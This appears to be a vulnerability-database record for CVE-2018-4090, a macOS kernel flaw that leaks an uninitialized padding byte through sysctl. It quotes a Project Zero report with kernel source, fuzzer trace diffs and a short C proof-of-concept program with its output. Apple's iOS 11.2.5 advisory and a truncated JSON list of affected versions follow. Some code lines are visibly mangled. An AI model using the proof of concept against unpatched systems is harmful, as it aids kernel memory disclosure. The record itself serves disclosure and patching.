var-201804-1204
Vulnerability from variot
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app. plural Apple A vulnerability exists in the product kernel component that bypasses memory read restrictions.An attacker could bypass the memory read limit through a crafted application. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities. An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system. watchOS is a smart watch operating system. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. MacOS sysctl_vfs_generic_conf stack leak through struct padding
CVE-2018-4090
The sysctls vfs.generic.conf.* are handled by sysctl_vfs_generic_conf(), which is implemented as follows:
static int sysctl_vfs_generic_conf SYSCTL_HANDLER_ARGS { int name, namelen; struct vfstable vfsp; struct vfsconf vfsc;
(void)oidp;
name = arg1;
namelen = arg2;
[check for namelen==1]
mount_list_lock();
for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next)
if (vfsp->vfc_typenum == name[0])
break;
if (vfsp == NULL) {
mount_list_unlock();
return (ENOTSUP);
}
vfsc.vfc_reserved1 = 0;
bcopy(vfsp->vfc_name, vfsc.vfc_name, sizeof(vfsc.vfc_name));
vfsc.vfc_typenum = vfsp->vfc_typenum;
vfsc.vfc_refcount = vfsp->vfc_refcount;
vfsc.vfc_flags = vfsp->vfc_flags;
vfsc.vfc_reserved2 = 0;
vfsc.vfc_reserved3 = 0;
mount_list_unlock();
return (SYSCTL_OUT(req, &vfsc, sizeof(struct vfsconf)));
}
struct vfsconf is defined as follows:
struct vfsconf { uint32_t vfc_reserved1; / opaque / char vfc_name[MFSNAMELEN]; / filesystem type name / int vfc_typenum; / historic filesystem type number / int vfc_refcount; / number mounted of this type / int vfc_flags; / permanent flags / uint32_t vfc_reserved2; / opaque / uint32_t vfc_reserved3; / opaque / };
MFSNAMELEN is defined as follows:
define MFSNAMELEN 15 / length of fs type name, not inc. null /
define MFSTYPENAMELEN 16 / length of fs type name including null /
This means that one byte of uninitialized padding exists between vfc_name and vfc_typenum. This is the diff of two runs over the fuzzer queue with different stack poison values (0xcc and 0xdd):
--- traces_cc_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:41.486752415 +0100 +++ traces_dd_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:56.583413293 +0100 @@ -1,19 +1,19 @@ loaded 72 bytes fuzzdata USER READ: addr 0xffffffffffffffff, size 8, value 0x00000600020000ca USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000003 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000004 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000060000 USER READ: addr 0xffffffffffffffff, size 8, value 0x00ea800500000010 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000010003 USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000000 syscall(rax=0x600020000ca, args=[0x3, 0x4, 0x60000, 0xea800500000010, 0x10003, 0x0]); rsp=0x7ffee418eda8 USER READ: addr 0x3, size 8, value 0x0000000000000003 USER READ: addr 0xb, size 8, value 0x0000001700000002 USER WRITE: addr 0x60000, size 8, value 0x0073666800000000 USER WRITE: addr 0x60008, size 8, value 0x0000000000000000 -USER WRITE: addr 0x60010, size 8, value 0x00000017cc000000 +USER WRITE: addr 0x60010, size 8, value 0x00000017dd000000 USER WRITE: addr 0x60018, size 8, value 0x0000100000000001 USER WRITE: addr 0x60020, size 8, value 0x0000000000000000 sysret OUT OF FUZZER INPUT DATA - REWINDING REWIND! (trigger_exception=0x10006; cycles=7)
Verified on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
$ cat sysctl_conf_test.c
include
include
include
include
include
include
struct vfsconf_withpad { int reserved1; char name[15]; unsigned char pad1; int typenum; int refcount; int flags; int reserved2; int reserved3; };
int main(void) { int name[] = { CTL_VFS, VFS_GENERIC, VFS_CONF, 0x17 }; static struct vfsconf_withpad conf; size_t outlen = sizeof(conf); if (sysctl(name, sizeof(name)/sizeof(name[0]), &conf, &outlen, NULL, 0)) err(1, "sysctl"); if (outlen != sizeof(conf)) errx(1, "outlen != sizeof(conf)"); printf("name=%.15s pad1=0x%02hhx typenum=%d refcount=%d flags=%d\n", conf.name, conf.pad1, conf.typenum, conf.refcount, conf.flags); } $ gcc -o sysctl_conf_test sysctl_conf_test.c -Wall $ ./sysctl_conf_test name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096 $ ./sysctl_conf_test name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
Found by: jannh
. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted audio file may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A memory initialization issue was addressed through improved memory handling. CVE-2018-4090: Jann Horn of Google Project Zero
Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A race condition was addressed through improved locking. CVE-2018-4092: an anonymous researcher
Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-2018-4082: Russ Cox of Google
Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted text message may lead to application denial of service Description: A resource exhaustion issue was addressed through improved input validation. CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of web content. This issue was addressed through improved input validation. CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day Initiative
Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A certificate may have name constraints applied incorrectly Description: A certificate evaluation issue existed in the handling of name constraints. This issue was addressed through improved trust evaluation of certificates. CVE-2018-4086: Ian Haken of Netflix
WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4088: Jeonghoon Shin of Theori CVE-2018-4089: Ivan Fratric of Google Project Zero CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
- Navigate to Settings
- Select General
- Select About. The version after applying this update will be "11.2.5".
Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2 7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1 IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi 1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A /WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg= =F6+9 -----END PGP SIGNATURE----- . CVE-2018-4098: Siguza
Kernel Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read kernel memory (Meltdown) Description: Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache. CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of Graz University of Technology; Michael Schwarz of Graz University of Technology; Daniel Gruss of Graz University of Technology; Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus Technology GmbH; Stefan Mangard of Graz University of Technology; Paul Kocher; Daniel Genkin of University of Pennsylvania and University of Maryland; Yuval Yarom of University of Adelaide and Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel Available for: macOS High Sierra 10.13.2 Impact: An application may be able to read restricted memory Description: A memory initialization issue was addressed through improved memory handling. CVE-2018-4097: Resecurity, Inc.
Alternatively, on your watch, select "My Watch > General > About"
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201804-1204",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "mac os x",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "10.13.3"
},
{
"model": "tv",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "11.2.5"
},
{
"model": "iphone os",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "11.2.5"
},
{
"model": "watchos",
"scope": "lt",
"trust": 1.0,
"vendor": "apple",
"version": "4.2.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.1.3"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "4.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.0"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.2.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.2.3"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.1.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.9,
"vendor": "apple",
"version": "3.1"
},
{
"model": "mac os x",
"scope": "eq",
"trust": 0.8,
"vendor": "apple",
"version": "10.13.2"
},
{
"model": "ios",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "11.2.5 (ipad air or later )"
},
{
"model": "ios",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "11.2.5 (iphone 5s or later )"
},
{
"model": "ios",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "11.2.5 (ipod touch first 6 generation )"
},
{
"model": "tvos",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "11.2.5 (apple tv 4k)"
},
{
"model": "tvos",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "11.2.5 (apple tv first 4 generation )"
},
{
"model": "watchos",
"scope": "lt",
"trust": 0.8,
"vendor": "apple",
"version": "4.2.2 (apple watch all models )"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.6,
"vendor": "apple",
"version": "4.0"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.6,
"vendor": "apple",
"version": "4.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "30"
},
{
"model": "tvos",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "11.2.5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.3.2"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.2.2"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.13.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.8"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4"
},
{
"model": "watch",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "0"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.0.2"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.0"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.2.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.1.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.1.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.4"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.1.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.3"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.2.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.10"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.1"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.4"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8.4"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.1.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.0"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8.1"
},
{
"model": "ipod touch",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "0"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "40"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.1.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.3.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.1.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.4"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3.5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.1"
},
{
"model": "watchos",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.0.2"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.4.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.1"
},
{
"model": "macos",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "10.13.3"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.1"
},
{
"model": "tv",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "0"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "1.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.3.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.6"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "50"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.9"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.0"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.1.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.2"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8.5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.1.4"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.2.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "5.1"
},
{
"model": "iphone",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "0"
},
{
"model": "security update el capitan",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "2018-0010"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3.4"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.5"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3.5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.1.1"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "1.0"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.2.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.2.1"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.13"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.7"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8.3"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.6"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3.2"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.2"
},
{
"model": "ipad",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "0"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.1"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.2"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "5.1.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "5.0.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.1"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.12.5"
},
{
"model": "ios",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "11.2.5"
},
{
"model": "security update sierra",
"scope": "ne",
"trust": 0.3,
"vendor": "apple",
"version": "2018-0010"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.1.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.2.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.2.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.1.6"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3.4"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.0.1"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "2.2.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "6.0.2"
},
{
"model": "watchos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2"
},
{
"model": "macos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.13.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.2.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.3.2"
},
{
"model": "mac os",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "x10.8.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.5"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.3.1"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "8.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "10.3.3"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "3.2"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "11.1"
},
{
"model": "ios",
